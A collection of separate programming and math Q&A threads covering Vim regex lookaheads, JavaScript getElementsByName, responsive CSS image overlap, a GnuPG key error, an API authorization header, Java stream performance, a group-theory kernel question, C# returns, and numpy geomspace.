Q: How do you match a pattern skipping exceptions? In vim, I'd like to match a regular expression in a search and replace operation, but with exceptions — a list of matches that I want to skip.
For example, suppose I have the text:

-one- lorem ipsum -two- blah blah -three- now is the time -four- the quick brown -five- etc. etc.

(but with lots of other possibilities) and I want to match -\(\w\+\)- and replace it with *\1* but skipping over (not matching) -two- and -four-, so the result would be:

*one* lorem ipsum -two- blah blah *three* now is the time -four- the quick brown *five* etc. etc.

It seems like I should be able to use some kind of assertion (lookbehind, lookahead, something) for this, but I'm coming up blank.

A: You're looking for a negative lookahead assertion. In Vim, that's done via :help /\@!, like (?!pattern) in Perl.
Basically, you say don't match FOO here, and in general match word characters:
/-\(\%(FOO\)\@!\w\+\)-/

Note how I'm using non-capturing groups (:help /\%(). What's still missing is an assertion on the end, so the above would also exclude -FOOBAR-. As we have a unique end delimiter here, it's easiest to append that:
/-\(\%(FOO-\)\@!\w\+\)-/

Applied to your example, you just need to introduce two branches (for the two exclusions) in place of FOO, and you're done:
/-\(\%(two-\|four-\)\@!\w\+\)-/

Or, by factoring out the duplicated end delimiter:
/-\(\%(\%(two\|four\)-\)\@!\w\+\)-/

This matches any word characters in between dashes, except if those words form either two or four.

A: The negative lookahead in my other answer is the direct solution, but its syntax is a bit complex (and there can be patterns where the rules for the delimiter are not so simple, and the result then is much less readable).
As you're using substitution, an alternative is to put the selection logic into the replacement part of :substitute. Vim allows a Vimscript expression in there via :help sub-replace-expression.
We have the captured word in submatch(1) (equivalent to \1 in a normal replacement), and now just need to check for the two excluded words; if it's one of those, do a no-op substitution by returning the original full match (submatch(0)), else just return the captured group.
:substitute/-\(\w\+\)-/\=submatch(index(['two', 'four'], submatch(1)) == -1 ? 1 : 0)/g

It's not shorter than the lookahead pattern (well, we could golf the pattern and drop the ternary operator, as a boolean is represented by 0/1, anyway), so here I would still use the pattern. But in general, it's good to know that there's more than one way to do it :-)


text:
Q: getElementsByName() not working? I have a Javascript function which should update a hidden input field in my form with a number that increments every time the function is called.
It worked originally with getElementById() however because I had to redesign my form I cannot use the php function to assign an individual ID to the element so all I have is a unique name for that element.
So instead I decided to use getElementsByName() from Javascript to modify the element.
Here is the HTML of that element
  <input type="hidden" value="" name="staff_counter">

This is my Javascript code:
window.onload=function()
{

//function is activated by a form button

var staffbox = document.getElementsByName('staff_counter');
                    staffbox.value = s;

                s++;
}

I am getting no errors on Firebug when the function is called and the input field is not getting a value given to it.
It was working with getElementById() but why all of a sudden it does not work with getElementsByName()?

*

*-I have checked that it is the only unique element in the document.

*-I checked for any errors on Firebug when activating the function

Here is the code I use from Codeigniter to make the element
// staff_counter is name and the set_value function sets the value from what is
//posted so if the validation fails and the page is reloaded the form element does
// not lose its value

echo form_hidden('staff_counter', set_value('staff_counter'));

Thanks

A: Just had a similar issue, I resolved it with a simple loop over the array. The code below will go through and disable all the buttons with the name of 'btnSubmit'.
for (var i=0;i<document.getElementsByName('btnSubmit').length;i++){
    document.getElementsByName('btnSubmit')[i].disabled=true;
}

A: document.getElementsByName() returns a NodeList, so you have to access it by an index: document.getElementsByName('staff_counter')[0] (depending on how many of these you have).
You also have access to a length property to check how many Elements were matched.


text:
Q: Responsive way to place 2 pictures over each other like Facebook and google plus I am trying hardly to position an image above the another image using bootstrap , while I can't find a responsive way to create it.
My target design is this

I found that all the user questions were answered with a position thing in css. All there answers were not mobile friendly so can anyone help

A: You will be needing media queries for this. You can also use negative margin if you don't want to use positioning.

.fb-profile img.fb-image-lg {
    z-index: 0;
    width: 100%;
    margin-bottom: 10px;
  }

.fb-image-profile {
    margin: -90px 10px 0px 50px;
    z-index: 9;
    width: 20%;
  }

@media (max-width:768px) {
  .fb-image-profile {
      margin: -45px 10px 0px 25px;
      z-index: 9;
      width: 20%;
    }
}

fiddle

A: Positioning seems unavoidable. Fiddle

.container {
  width: auto;
  float: left;
  position: relative;
}
.small-round, .big-round {
  border-radius: 50%;
  position: absolute;
}
.big-round {
  left: 10%;
  bottom: -60%;
}
.small-round {
  right: 0;
  bottom: -50%
}

A: To position an image between two sections, like in the request, here's what you need:

body { margin: 0;}
section {
  box-sizing: border-box;
  padding: 1rem;
}
.has-image-after {
  position: relative;
  background: url(https://unsplash.it/800/400) no-repeat 50% 50% /cover;
  padding-bottom: calc(100px + 1rem);
  color: white;
}
.has-image-after + section {
  padding-top: calc(100px + 1rem);
}
.has-image-after .image-after {
  position: absolute;
  text-align: center;
  width: 200px;
  height: 200px;
  left: 50%;
  bottom: 0;
  transform: translate(-50%, 50%);
  border-radius: 50%;
  overflow: hidden;
}
.image-after img {
  width: 100%;
  min-height: 100%;
  object-fit: cover;
}
@media(max-width: 600px) {
  .has-image-after .image-after {
    width: 33.3333vw;
    height: 33.3333vw;
  }
  .has-image-after {
    padding-bottom: calc(16.6667vw + 1rem);
  }
  .has-image-after + section {
    padding-top:  calc(16.6667vw + 1rem);
  }
}

Section 1

But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?

Section 2

On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains.

It has the advantage of cropping the image to the largest available circle, without distorting it and without it having to be at a 1:1 width/height ratio.
Responsiveness is handled inside the @media query. Feel free to change it to meet your specific use-case.

And, to make it more adaptable, here's some SCSS. Change values to whatever you need and parse (test in jsFiddle):
$sectionPadding: 1rem;
$imageWidth: 200px;
$imageResponsiveWidth: 33.3333vw;
$breakPoint: 600px;
$left: 20%;
$bottom: -40px;

body { margin: 0;}
section {
  box-sizing: border-box;
  padding: $sectionPadding;
}
.has-image-after {
  position: relative;
  background-color: #fff;
  padding-bottom: calc((#{$imageWidth/2} + #{$sectionPadding}) + #{$bottom});
}
.has-image-after + section {
  padding-top: calc((#{$imageWidth/2} + #{$sectionPadding}) - #{$bottom});
}
.has-image-after .image-after {
  position: absolute;
  text-align: center;
  width: $imageWidth;
  height: $imageWidth;
  left: $left;
  bottom: $bottom;
  transform: translate(-50%, 50%);
  border-radius: 50%;
  overflow: hidden;
}
.image-after img {
  width: 100%;
  min-height: 100%;
  object-fit: cover;
}
@media(max-width: $breakPoint) {
  .has-image-after .image-after {
    width: $imageResponsiveWidth;
    height: $imageResponsiveWidth;
  }
  .has-image-after {
    padding-bottom: calc((#{$imageResponsiveWidth/2} + #{$sectionPadding}) + #{$bottom});
  }
  .has-image-after + section {
    padding-top:  calc((#{$imageResponsiveWidth/2} + #{$sectionPadding}) - #{$bottom});
  }
}

A: I think Gerard's answer was the best. You're going to want to use positioning, by making the parent container position: relative; and then absolutely positioning the images inside the parent container.
I prefer this over using negative top margin as vijayscode suggested. However, vijayscode is correct in that you will most likely need to use css media queries to resize and reposition those elements on different screen sizes.
So I would use Gerards code example, but also use media queries. Would be able to provide a more specific answer if you had provided your code.


text:
Q: gnupg gives me the error "Invalid public key algorithm" when I try to use an old key When I try to decrypt an old file, gpg2 gives me this error:
gpg: public key decryption failed: Invalid public key algorithm
gpg: decryption failed: No secret key

gpg1 gives me this error:
gpg: Ohhhh jeeee: no decrypt() for 17
secmem usage: 1664/2432 bytes in 5/8 blocks of pool 2432/32768
Abort trap: 6

A: You get this message when you've imported an old secret key but not the corresponding public key. Go back and import the public key as well.


text:
Q: What is the correct way to test an API with token api_key:access_token header? Following the below steps:

*

*created a new app at https://developers.kite.trade/apps

*obtained the <API key> from the app details page

*obtained the <API secret> from the app details page

*calling an API called holdings API using curl like this:

curl -X GET https://api.kite.trade/portfolio/holdings -H 'Authorization: token <API key>:<API secret>' -H 'X-Kite-Version: 3'
All the steps look correct to me however I'm getting the following error:
{
  "status": "error",
  "message": "Incorrect `api_key` or `access_token`.",
  "data": null,
  "error_type": "TokenException"
}

I regenerated the <API secret> 3 times from the app details console.
Now, the question here is not about why I'm getting the error from https://api.kite.trade
The question is whether the authorization header is correct or not?
I have seen many APIs asking for base64 encoded headers so I did that too but the API seems not working.
Is it not the right approach for testing an API?

A: Try using Postman to test your API request. Also, check what kind of authentication your API is using ( oAuth 2.0, etc). If that's the case, your request headers might look something like this:
{
    Authorization: 'Bearer <API token>'
}


text:
Q: Is stream.max() always faster than stream.reduce()? I have this following code snippet
    // List of persons with name and age
    List<Person> persons = new ArrayList<>();

    // Adding 10,000 objects
    for(int i = 0 ; i < 10000 ; i ++) {
        Person p = new Person();
        p.setName("Person " + i);
        p.setAge(i);
        persons.add(p);
    }

    long time1 = System.nanoTime();
    System.out.println("Time before steram.reduce()" + time1);
    Optional<Person> o1 = Optional<Person> o1 = persons.stream().reduce(BinaryOperator.maxBy(Comparator.comparingInt(p -> p.getAge())));
    long time2 = System.nanoTime();
    System.out.println(o1.get() + "\nTime after stream.reduce() " + time2);
    System.out.println("**** Rough execution time for stream.reduce() : " + (time2 - time1) + " nano secs");

    long time3 = System.nanoTime();
    System.out.println("Time before stream.max() " + time3);
    Optional<Person> o2 = persons.stream().max((p01, p02) -> p01.getAge() - p02.getAge());
    long time4 = System.nanoTime();
    System.out.println(o2.get() + "\nTime after stream.max() " + time4);
    System.out.println("**** Rough execution time for stream.max() : " + (time4 - time3) + " nano secs");

While this might not be the ideal way to figure out execution time, basically what I am trying to do here is find the oldest Person and print out the time it took to find it out using stream.reduce() vs stream.max().
Output
Time before steram.reduce()8834253431112
[ Person 9999, 9999]
Time after stream.reduce() 8834346269743
**** Rough execution time for stream.reduce() : 92838631 nano secs
Time before stream.max() 8834346687875
[ Person 9999, 9999]
Time after stream.max() 8834350117000
**** Rough execution time for stream.max() : 3429125 nano secs

P.S. I have ran this code multiple times changing the order of stream.max() and stream.reduce() and found out that stream.reduce() takes significantly more time to produce the output than stream.max().
So is stream.max() always faster than stream.reduce()? If yes then, when should we use stream.reduce()?

A: The ReferencePipeline implementation of max looks as follows:
public final Optional<P_OUT> max(Comparator<? super P_OUT> comparator) {
    return reduce(BinaryOperator.maxBy(comparator));
}

So any performance difference that you observe is just an artifact of the approach that you use for measuring the performance.
Or, more clearly: The answer is No, it is not "always faster".

Edit: Just for reference, here is a slightly adjusted version of your code. It does run the test for different numbers of elements, repeatedly. This is still not a real, reliable (Micro) Benchmark, but more reliable than running the whole thing only once:
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;

public class MaxReducePerformance
{
    public static void main(String[] args)
    {
        for (int n=500000; n<=5000000; n+=500000)
        {
            List<Person> persons = new ArrayList<>();
            for (int i = 0; i < n; i++)
            {
                Person p = new Person();
                p.setName("Person " + i);
                p.setAge(i);
                persons.add(p);
            }

            System.out.println("For " + n);

            long time1 = System.nanoTime();
            Optional<Person> o1 = persons.stream().reduce((p01, p02) ->
            {
                if (p01.getAge() < p02.getAge())
                    return p02;
                return p01;
            });
            long time2 = System.nanoTime();
            double d0 = (time2 - time1) / 1e9;
            System.out.println("Reduce: "+d0+" seconds, " + o1);

            long time3 = System.nanoTime();
            Optional<Person> o2 =persons.stream().max(
                (p01, p02) -> p01.getAge() - p02.getAge());
            long time4 = System.nanoTime();
            double d1 = (time4 - time3) / 1e9;
            System.out.println("Max   : "+d1+" seconds, " + o2);
        }

    }
}

class Person
{
    String name;
    int age;

    void setName(String name)
    {
        this.name = name;
    }

    void setAge(int age)
    {
        this.age = age;
    }

    int getAge()
    {
        return age;
    }

}

The output should show that the durations are basically equal.

A: Your reduce function evaluates getAge twice in each iteration, that's why the result might be slower depending on the compiler optimizations, restructure your code and check the result.
Also, Stream.max might benefit from built-in VM optimizations so you should always stick with built-in functions instead of implementing equivalent ones.


text:
Q: Why is $Z(G) = \ker(Ad)$? Define the map $Ad(g)(h) = ghg^{-1}$, so this is just self conjugation map.
I get that for $h \in \ker(Ad(g)(h)) \iff ghg^{-1}=e_G \iff gh = g \iff h = e_G.$
I am reading other proofs and they reduced $ghg^{-1}=e_G$ to $ghg^{-1}=h \iff gh = hg $ for every $h \in G$ to get the center of the group. Sorry, but how did the identity become $h$?

A: $Ad$ is a homomorphism from $G$ to the automorphism group of $G$. In other words $Ad(g)\in Aut(G)$.
So $\text{Ker} Ad$ is the set of elements $g\in G$ such that $Ad(g)$ is the identity.
So $g\in \text{Ker} Ad \Rightarrow\forall h\in G,\,\,Ad(g)(h)=h$ and this means $g\in \text{Ker} Ad\Rightarrow \forall h\in G,\,\, ghg^{-1}=h$.
And so $g$ commutes with all the elements of $G$. And therefore $\text{Ker} Ad\subset Z(G)$.
Conversely any $g\in Z(G)$ is such that $Ad(g)=Id$


text:
Q: Does it make a difference when I return the value from a method? This is my code currently - I'm just iterating through some lists and returning strings.
public string CreateCharacterName (int category) {
    string name = "";

    if(category == 0) {
        int r = Random.Range(0, Names(Roots("Characters", "CharacterNames"), 0).Count);
        name = Names(Roots("Characters", "CharacterNames"), 0)[r];
    }

    return name;
}

I've cut out a bunch of similar if statements, but I'm wondering if I should put the 'return name' part into each of the if statements after I've got the result, or is it fine as it is? Both work, I'm just thinking that the method will continue checking each subsequent if statement against the 'category' and THEN return the string, is that correct and is there a cost to that?
Thanks!

A: It's fine as it is. Your cyclomatic complexity is 2, i.e there is only 1 binary path through your code, which is good. Moving the return name; statement would increase it a little, which isn't bad though. As a rule of thumb, try to reduce complexity.

A: if microsecond optimisation is important why not skip using the variable and just use:
return Names(Roots("Characters", "CharacterNames"), 0)[r];


text:
Q: python logspace curve generation I would like to generate a logarithmic curve between two values, with a set number of datapoints in between.
I tried np.logspace(start,end,num_points) but that has an issue:
The created values are much higher than I expected (I believe this is due to the base value?)
How can I create values to be in the input range (with the distance between them being logarithmic)? i.e.
start=10; end=12; num_points=6
output: array([10, 11, 11.5, 11.75, 11,9, 12])
(the numbers in the output are just my estimation, real values will be different).
My end goal is to plot these values (y-axis) against the num_points (as x-axis).
plt.plot(num_point,output)

A: You can log a linspace with start and end points raised correspondingly:
import numpy as np
import matplotlib.pyplot as plt

plt.plot(range(6), [10, 11, 11.5, 11.75, 11.9, 12], 'ko-', label='requested')
plt.plot(range(6), np.log10(np.linspace(10**10, 10**12, 6)), 'ro-', label='log10')
plt.plot(range(6), np.log(np.linspace(np.exp(10), np.exp(12), 6)), 'bo-', label='log')
plt.legend()

A: I believe you are looking for geomspace, e.g.
import numpy as np
print(np.geomspace(10, 12, 6))
#[10.         10.37137289 10.75653757 11.15600622 11.57031005 #12.        ]